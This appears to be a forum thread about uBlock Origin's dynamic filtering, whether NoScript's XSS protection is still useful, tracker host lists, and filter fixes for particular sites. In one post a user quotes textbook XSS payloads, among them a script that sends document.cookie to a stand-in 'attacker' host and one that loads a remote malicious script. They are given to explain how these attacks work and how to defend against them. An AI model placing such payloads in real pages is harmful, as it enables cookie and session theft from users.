µBlock, a lean and fast blocker

No magic is needed, but correct understanding is. First, blocking all 3rd party connection is unrealistic; what is required to prevent some of XSS is not to noop domains of your important services (e.g. account.google.com, email.google.com, etc. for Gmail) globally. Second, even if you block all 3rd party requests, it does not prevent you to click a link to a victim site w/ crafted parameter, resulting in XSS as 1st party.

You don't need to trust me or anyone, just learn how XSS works. And hard mode is practically weaker than medium mode, as you need to noop many more.

BTW uBO works smoothly even on my 12y old laptop w/ 3GB memory. I strongly oppose to apply any tweaks you don't understand.

 

I had written that Firefox with ublock origin loads pages slower than with tracking protection. I think Firefox with ubo renders page or cache loading slower.

 

Yes, agreed. That's why Noscript's XSS protection has some value - although I'm not quite sure if the WE version offers the same level of protection as the legacy version. The options mentioned here are no longer available in about:config and there is no equivalent in the Noscript settings. That said, I have XSS warnings very, very rarely or never, and in most cases they are false positives. But this might be due to my strict settings in uMatrix.

Not necessarily as you can fall back to medium mode very easily by setting a local noop rule for the 3rd-party cell if necessary. 3rd-party scripts and frames will still be blocked.

 

pandorax - the lists within firefox are much shorter than the lists in uBo. and even when you reduce uBo to the uB lists only it would be slower because uBo needs time for interaction with firefox.

here: all 3P is set to noop, not block.

which means manual action with a script on 1p page - all 3p is already blocked - its not possible to start a 3p script with a click. i am not familiar with its complete details - but blocked means blocked

i also have uM running but this only refines some pages, the major block is done in uBo. and ofc this requires some reading and trial&error to get familiar with its matrix.

 

I'm not sure that I understand. This means that you effectively disable Dynamic Filtering for 3P as only Static Filtering is applied.

 

noop means allow if no blocking rule is found. no filtering when button is grey or partial when cosmetics are off.
3p noop in general keep off any bad elements (first column), i can refine that filtering with second column, or block special 3p domains for all or for current domain.
i have some domains blocked for all times, some are blocked in general but are noop or allow for special domains because needed.
noop is based on the lists but not static
https://github.com/gorhill/uBlock/wiki/Dynamic-filtering:-quick-guide

some examples

* this is not XSS as in noscript but blocking 3p scripts is nearly same, noop is the moderate variant of it.

in case of cloudfront i only have a hand full of pages where CF is needed, eg,. hamrick/vuescan for downloads.
www.hamrick.com d1t4l16dpbiwrj.cloudfront.net * allow
www.hamrick.com d2bwyyzfw77fhf.cloudfront.net * allow

a very special block here is cloudflaressl.com - this domain has been guilty in the past for malware hosting - this is only a cdn but domain redirects ended here. and "ssl" in the name means there is a valid ssl certificate used. thats why people should not think that ssl connections are safe, they are only encrypted.

 

Again, a noop rule (cell is gray) means that no Dynamic Filtering is applied but rather Static Filtering from the rules in the enabled filterlists.

 

I think you misunderstand XSS as a malicious script of a kind. Blocking 3rd-party script is not directly relevant to XSS. IF XSS happened to be attempted through a 3rd party frame, object, or img, medium mode will stop it if you haven't nooped or whitelisted a domain of the victim service, say, twitter.com. If XSS was done through a direct link, blocking 3rd party does nothing. It's completely possible and actually has been done, and checking these query parameter every time you click a link is not realistic - they're usually long and encoded regardless of attack. Tho I respect gwarser as I know his contribution such as uBO wiki, obviously he missed this scenario in your link.

I see English is not your mother tongue but as long as I interpret your writing by English, it looks like your understanding of noop is wrong as summerheat also pointed out (*). If you use uMat and uBO at the same time, do not use dynamic filtering - let uMat do its job and use uBO only for static filtering. But from what I've read, it seems it's better for you to ditch uMat and let uBO do all the jobs - what you're currently doing by uMat can be done through URL filtering. I don't use it but this is because I use more flexible static filtering of my own.

Current version is actually much sperior to older versions as far as XSS auditor is concerned. Maone has patched numerous bypasses and from v10.2.2 the Achilles' heel of it, unscanned POST requests, has been plugged. Possibly ironically, XSS auditor was originally implemented by criticism of ABP dev in this forum. But I don't want uBO to implement such a feature.

Ha-ha, that may work for ppl like you - but won't for the rest of the world . If one want more ctrl than medium mode, I recommend either uMat or medium mode+ (your own static filters).

(*) e.g. cosmetic filtering is completely irrelevant to nooping, it works regardless of you noop or not. If you want to disable cosmetic filtering on a particular site, use the eye icon in the bottom of uBO pane.
These rules doesn't make sense in your case.

Code:

* * 1p-script noop
* * 3p noop
* * inline-script noop

And I would replace all of allow rules in your example w/ noop if I were you.

 

Thanks, good to know. I haven't tracked Noscript development for a while. FWIW, there had been a discussion on ghacks last year on NS vs. uM/uBO. @gorhill participated as well and commented about XSS in this post and below.

Furthermore, an interesting aspect is that the XSS Auditor in Chromium is going to be removed before long as "We haven't found any evidence the XSSAuditor stops any XSS, and instead we have been experiencing difficulty explaining to developers at scale, why they should fix the bugs even when the browser says the attack was stopped." And on the other hand, in Firefox - although they hadn't marketed it in the past - there are built-in mitigations to protect against XSS as well.

Yep, that's what I'm using.

 

+1.

 

@142395 & @summerheat ,

thank you both for your valuable insight. I figured I was doing something right by keeping NoScript. I remembered a related discussion back in October with you guys which led me to using the combination.

 

i think you are right when reading (its in german which makes it easier for me)
https://www.security-insider.de/was-ist-cross-site-scripting-xss-a-699660/

when reading the first part i dont have any option for server side actions except analyzing the used scripts for sending elsewhere?
ok, this is different from uB blocking 3p scripts. on the other hand uB has or need the ability to analyze scripts on bad domains or sending data to other domains then the original!?

ofc this makes sense from my view

3p include all 3p, but 3p frames and scripts are left out, 1p scripts (links to scripts) if not filtered, and inline scripts are scripts within the page(<script>...</script>) if not filtered (eg script:has-text(...)

and yes, uM is active, but only for cookies if not handled in firefox, the rest is white listed (eg recaptcha) or blocked by default, no filter lists used.

thats why i had/have in mind. it will pass when no blocking rule is found. if that is "static" then its static.

but currently i dont see any advantage of noscripts anti xss feature.

 

Here are three harmless examples of different types of XSS code taken from the following site:

https://excess-xss.com/

Code:

<script>
window.location='http://attacker/?cookie='+document.cookie
</script>

Code:

<script>...</script>

Code:

 <html>
Latest comment:
<script src="http://attacker/malicious‑script.js"></script>
</html>

If you are using NoScript, you will see it take action upon them if you try to enter them in your browser's address field. I'm using Firefox v70.0.1

Another web site on XSS:


https://www.ibm.com/developerworks/web/library/wa-secxss/


From it, examples of how the user can protect themselves:

yet another one, a DOM-based attack example taken from:

https://portswigger.net/web-security/cross-site-scripting/dom-based

Code:

document.write('... <script>alert(document.domain)</script> ...');

 

example one and two are blocked here if the domain is blocked (in several ways). example three i cannot say anything but if a blocked domain is the target there is nothing to grab here.

 

NS specifically alerted on all the different script types I threw its way. I like that.

 

@Brummelchen
It seems you have difficulty also in reading English, and have many misconception, I won't try to correct them after this post. In case of XSS, the script is on the trusted domain like whateveryouremail.com (in the simplest case, it is attached as query in a link to these domains), NOT on a bad domain. And what sends data to the attacker's server (IF sending data is the objective) is not the script itself, but a http request (e.g. page transition) caused by the script.

3p does not leave scripts nor frames out, unless you've made specific rules to overwrite. The script tag is for all scripts, 1st, 3rd, & inline, what differentiates them is simply where they are. So HTML filtering like ##^script:has-text can also be used for all of them, tho it's better to use network filtering if it works.

The purpose of noop is to overwrite dynamic blocking rules, but your example doesn't have a preceding blocking rule for these 3 which is only

Code:

* * * block

and nothing else. So they do literally nothing, they makes sense only in your imagination. And dynamic allow rule is to overwrite any blocking, dynamic and static. There is no ambiguity in the word static, we all use this word as "subscribed filters (e.g. EasyList) and My Filter (if you've made)". Basically, Allow should only be used temporary, 'cause it nullifies protection offered by e.g. EasyList. If you get page breaking by any of these filters, report it or make a strict exception w/ @@ syntax for the culprit. But dynamic allow is useful to narrow down the cause of breakage.

 

Based on my understanding of XSS, this makes complete sense to me.

 

I think you are referring to reflective or DOM-based XSS, and this is definitely where NoScript will alert and block these type of XSS attacks, although a user should really not be blindly clicking on links in emails or in sites leading to security sensitive pages.

 

Some eulerian.net CNAME trackers missing from that
https://hostfiles.frogeye.fr/firstparty-only-trackers-hosts.txt

AFAIK, here's the most current list of eulerian.net CNAME trackers:

Code:

https://www.orwell1984.today/cname/eulerian.net.txt

And if you want to see where those CNAMES point to (entries separated by one tab, should be no
problem for those knowing sed/grep/awk etc. to modify it for be compatible with their favorite blocker, or you can just use the above one and add 0.0.0.0 or 127.0.0.1 or whatever):

Code:

https://www.orwell1984.today/cname/eulerian.net_full.txt

 

Might anyone be able to help me out with blocking the ads appearing on -https://ww.9to5mac.com
etc? Thanks!

 

I added a fix to uBO-filters.
https://github.com/uBlockOrigin/uAssets/commit/71ecb421efbd264be5aae50463aa2953afd5b42e

You can update that list or add

Code:

9to5mac.com##+js(aopr, localStorage)

to your filter list.
You have to make sure to not follow your link -https://ww.9to5mac.com and go to -https://9to5mac.com/
If you go to -https://9to5mac.com/ with an adblocker the site triggers a redirection to the .ww subdomain and pushes all the ads you see.
The added filter disables that redirection.

 

@Trooper
Next time you ask sth like this, please specify at least your browser & OS, uBO version, all subscribed filters, exact URL you see ads rather than HP, and description of ads you see (or better, screenshots). Preferably also note from what country you access the site. It's not always easy for others to reproduce ads you see, and dynamically generated websites serve different pages based on browser, OS, and/or IP.

Now answer. AdGuard Base List hides them by these rules:
9to5mac.com##.ad-container
9to5mac.com##ins[data-ad-client]
9to5mac.com##img[width="750"][height="150"]
9to5mac.com##ins[data-ad-client]

You can either add them to My Filter or subscribe AGBL. One of them can actually be blocked, so if you wanna block rather than just hide, add this to My Filter:
||9to5mac.com/wp-content/uploads/sites/*_ads-01.png|

(This post was originally written before okiehsch comes in, and maybe no more needed.)

 

@Stefan Froberg
Until recently, the "firstparty-only" hosts included many of obvious 3p tracker such as ssl.google-analytics.com, tho now they were removed and the author made some significant changes. This may be the reason Host-block file temporary discarded it (see the notation bottom of the page). BTW uBO can take a simple list of domains just like a hosts file.

@okiehsch
Welcome to Wilders! I appreciate all your active contribution to uBO and even other ad-blockers.

 

@okiehsch
I thought it's not a proper place to report filter issues and planned to make a Github account dedicated for that, but time passed w/out doing anything. So forgive me for doing so here, it's too good timing for me!

uBlock Unbreak filter breaks video at https://www.kobe-np.co.jp/ (e.g. https://www.kobe-np.co.jp/rentoku/movie/new/201912/0012952685.shtml) by a rule "-google-analytics.$3p". The following filter fixed it:
@@||aka-secure-img.uliza.jp/Player/js/ulizahtml5-google-analytics.min.$script,domain=www.kobe-np.co.jp

Search function of https://bimi.jorudan.co.jp/ (SS attached) doesn't work due to "google-analytics.com" in Peter Low's and "||google-analytics.com/ga.js$script,redirect=google-analytics.com/ga.js" in uBlock Privacy. @@ exception, rather than redirect, fixed it.

The mobile version of https://www.electriciantalk.com/ doesn't display properly due to a rule "||www.googletagservices.com/tag/js/gpt.js" in uBlock Privacy. Confirmed by uBO 1.24.2 on Firefox Mobile 68.3.0 w/ the latest filters.